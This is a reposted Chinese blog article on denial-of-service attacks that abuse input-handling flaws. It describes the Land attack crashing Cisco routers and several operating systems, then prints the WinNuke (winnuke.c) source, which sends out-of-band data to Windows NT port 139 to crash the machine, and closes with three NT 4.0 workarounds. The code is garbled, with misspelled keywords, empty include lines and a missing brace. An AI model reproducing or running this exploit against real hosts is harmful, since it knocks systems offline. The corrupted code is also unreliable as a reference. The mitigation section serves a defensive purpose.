利用处理程序错误***(下)
Land也是一个很厉害的***工具,有人专门用Land对某种路由器进行了测试,结果发现,当对23端口进行
***,路由器再也不能连到本地网上或域网外部。前面面板上的灯也停止了闪烁,用ping没有响应,
tenlnet命令也无效。此时,唯一的选择便是来一个硬重启动。如下是对Land***cisco路由器的一番描述:
“当***端口23时,它果然锁住了路由器,此时,路由器再也不能到达内部的局域网,同样也不能到达外
部的广域网,前面面板上的灯也停止了闪动,这时候,也不能ping通它,也不能telnet到它。唯一的选择
只有来一个硬重启动。“
可以说对许多使用cisco路由器的网络来说,这一点是非常可怕的。
更有人专门用Land对当前流行的操作系统进行了一番测试,结果是Land可***的对象竟然包括了相当多的
操作系统,诸如AIX3、HP-UX 10。20、IRIX Windows 95和Windows NT等当前流行的操作系统。
更为危险的是,在现在的网上,诸如teardrop.c 、bonk.c(55端口)、bionk.c和SSPing.c一类的***端口
的源程序到处都是,从编写得很完善的,到一些个人自己编写的简陋的测试程序。任何感兴趣的人,都可
以稍微工花费一些时间研究一下,就可以将他们变成自己的工具。因此,对于系统不是最新的或者还没有
打过“补丁”,对自己的系统打“补丁”确实是当务之急。
4 OOB***工具
5.1 ***代码
OOB是一种专门***Windows NT139端口的工具。下面是它的一个可用的版本。可以用它来检测自己系统的
安全性。
/* winnuke.c – (05/07/97) BY –ECI */
/* Tested on Linux 2.0.30,Sunos 5.5.1, and BSDI 2.1 */
#include
#include
#include
#include
#include
#include
#include
#define dport 139 /*Attack port; 139 is what we want */
int x,s;
char str =”Bye”; /Makes no diff */
struct sockaddr-in addr, spoofedaddr;
atruct hostent *host;
int opdn-sock(int scok, char *server,int port) {
struct sockaddr-in blah;
struct hostent *he;
bzero ((char*) &blah,sizeof(blah));
blah.sin-family=AF-INET;
blah.sin-addr.s-addf=inet-addf(server);
blah.sin-port=htons(port);
if((he=gethostbyname(server)) ! =NULLL) {
bcopy(he->addr,(char*)&blah.sin-addr,he->h-length);
}
else {
if ((blah.sin-addr =inet-addr (server)) <0) {
return(-3);
}
}
if (connect (sock,(struct sockaddr *)&blah,16)==-1) {
perror(“cinnect()”);
close(sock);
retuen(-4);
}
void main (int argc,char *argv[]) {
if (argc !=2) {
printf(“Usage: %s
exit(0);
}
if ((s =socket(AF-INET,SOCK-STREAM, IPPROTO-TCP)) =-1) {
PERROR (“socket()”);
Exyt(-1);
}
open-sock(s,argv[1],dport);
printf(“Sending crash …”);
send (s, str, atrldn (str),MSG-OOB);
usleep (100000);
printf(“Done!\n”);
close(s);
}
10.5.2 一些临时措施
目前有三种临时性的解决方案可用。前两种的后果是用户只能使用拔号网络而无法再使用局域网了,
第三种方法通过包过滤,来阻止对联39端口的访问。因为它需要网卡的支持,所以只用于局域网内部。
方法一:
1. 进入[控制面板]窗口---[网络]对话框---[绑定]选项卡。
2. 打开[显示绑定属于]列表,选择[所有适配器]。
3. 找到[远程访问WAN Wrapper],打开它,找到[WINS客户(TCP/IP)]。
4. 单击[禁用]按钮。
5. 确认后,重新启动系统。
需要注意的是,当登录进Windows NT 4。0时,就会有一个消息框,说明有一些服务或者驱动没有启动。
这是正常的,而且每次启动时都会有。
方法二:
1. 进入[控制面板],找到[设备]图标。
2. 到列表的底部,找到[WINS客户(TCP/IP)]。
3. 单击[停止]按钮,然后单击[关闭]按钮。
4. 重启系统。
这种方法更简洁地实现了第一种方法,但是对一些局域网内的使用WINS TCP/IP客户来说这是一个灾难了。
所以要与系统管理员联系,以决定这样做是否必要
方法三:
Windows NT4。0提供了一个选项,可以对端口进行过滤。这可以用来对目标端口是非曲直39的那些数据包
进行过滤。需要知道的是这种方法将对使用NetBIOS产生一些不必要的副作用。
1. 进入[控制面板] ,选择[网络]/[协议]/[TCP/IP] 单击[属性] 按扭。
2. 在IP地址表中,选择[高级]按扭。
3. 在[高级]的TCP/IP属性对话框中,选择封锁哪些端口,允许哪些端口继续使用。
4. 单击[确定],然后退出,重启动系统。
转载于:https://blog.51cto.com/userli/68329
利用处理程序错误***(下)相关推荐
- [译] APT分析报告:04.Kraken - 新型无文件APT攻击利用Windows错误报告服务逃避检测
这是作者新开的一个专栏,主要翻译国外知名的安全厂商APT报告文章,了解它们的安全技术,学习它们溯源APT组织的方法,希望对您有所帮助.前文分享了APT组织Fin7 / Carbanak的Tirion恶 ...
- 游戏中的心理学:利用归因错误让玩家更爱你的游戏
游戏中的心理学:利用归因错误让玩家更爱你的游戏 发布于:2014-03-25 11:10阅读数:651 什么是基本归因错误? 在本文开始之前,先让我们来思考一个问题:当你在玩一个闯关游戏的时候失败了, ...
- 利用Aria2高速下载网盘文件
利用Aria2高速下载网盘文件 方法步骤: 下载文件 解压arial2,运行aria2启动.VBS 添加插件,解压BaiduExporter-master.zip 在Google浏览器扩展程序中chr ...
- 利用出厂状态下的闲置主机配置HP M1136打印机
利用出厂状态下的闲置主机配置HP M1136打印机 打印机型号:LaserJet M1136 MFP 主机状态:出厂状态,C盘及储存盘被分成了5片 网络环境:与打印机相连的主机全程无Internet连 ...
- 游戏中的心理学(二):利用归因错误让玩家更爱你的游戏
什么是基本归因错误? 在本文开始之前,先让我们来思考一个问题:当你在玩一个闯关游戏的时候失败了,你认为会是什么原因? 虚拟摇杆太难用?怪物设计得太难?地图上有BUG?技能设计得太弱? 是的,上边这些都 ...
- Equation漏洞混淆利用分析总结(下)
样本三 如下所示在该样本中,使用了Ole10Native的流,因此没有equative head,默认读取红框中的4位长度.之后的metf head为01. 可以看到metf head的长度为01时, ...
- windows系统重装(安装)第三篇——利用PE系统下的WinNTSetup工具重装系统
如果不知道怎么制作PE环境的,请看第一篇-------->>>>>>windows系统重装(安装)第一篇--老毛桃本地PE环境的安装 如果想使用更简单的安装方式请看 ...
- 利用JavaScript实现下拉菜单
实现效果:点击父级标题时下拉菜单会出现,同时其他已下拉的菜单会闭合.再次点击当前打开的父级菜单时,闭合. CSS: * {margin: 0;padding: 0; }li {list-style-t ...
- 第四章:系统困境之 在归因错误下拼命努力
2016 年中,我有个朋友进入一家公司做商务,负责的业务是广告投放,即一头服务公众号主,一头服务品牌方,赚中间的差价. 那时候正是自媒体广告崛起的时候,业务增长很快,半年多,她的月收入从 5000 做 ...
最新文章
- 经典JavaScript正则表达式实战
- 决定神经网络迭代次数的两个因素
- 腾讯下载的视频转换为MP4
- 关于dlg和pro的问题
- Python list倒序遍历(reversed )
- mysql infobright 缺点_infobright、mongodb优劣以及适用范围
- python 类的使用基础
- BIEE配置多个实例(BIEE Multiple Instance)
- 件测试专家分享III GUI自动化测试相关
- SpringCloudAlibaba--Seata简单案例
- ubuntu18.04安装mysql8.0中遇到的问题及解决方法
- ccflow 驰骋工作流引擎的共享任务,应用背景,设置,设计,sdk接口
- kubeadm-deployment
- spring boot小说网站系统 毕业设计源码论文+答辩PPT
- 视频编码中CBR和VBR的区别,CRF和CQP的区别
- Google Play关键词选词方法及常用选词工具
- 删除Windows中设备与驱动器下的多余图标
- Photoshop教程四:Camera RAW 批量调色
- Android应用性能剖析全攻略
- 全球与中国镁-铈(Mg-Ce)母合金市场深度研究分析报告